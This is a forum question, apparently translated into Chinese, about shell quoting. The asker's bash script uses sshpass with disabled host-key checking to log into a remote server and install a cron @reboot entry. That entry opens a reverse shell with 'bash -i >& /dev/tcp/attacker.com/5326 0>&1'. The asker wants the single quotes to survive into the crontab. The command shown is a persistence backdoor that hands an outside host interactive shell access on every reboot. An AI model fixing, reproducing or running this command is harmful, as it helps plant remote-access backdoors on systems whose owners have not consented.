【发布时间】:2019-03-31 18:33:00
【问题描述】:
我有一个脚本来更新 ssh 访问的远程服务器中的 cron 作业。我无法通过在我的 bash 脚本中运行的 echo 命令将单引号放入 cron 作业中。
这是我在 cron 作业中需要的确切字符串:
'bash -i >& /dev/tcp/attacker.com/5326 0>&1'
但我不能让他们“坚持”。
这是我脚本中的行(其他行工作正常。
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"
这次尝试的结果是……
@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1
...缺少引号。
我尝试了多个双引号。双引号内的单引号。斜线。
在这种情况下,如何在我的脚本中加上单引号,以便它们最终出现在 cron 作业中?
【问题讨论】:
标签: linux bash cron echo sshpass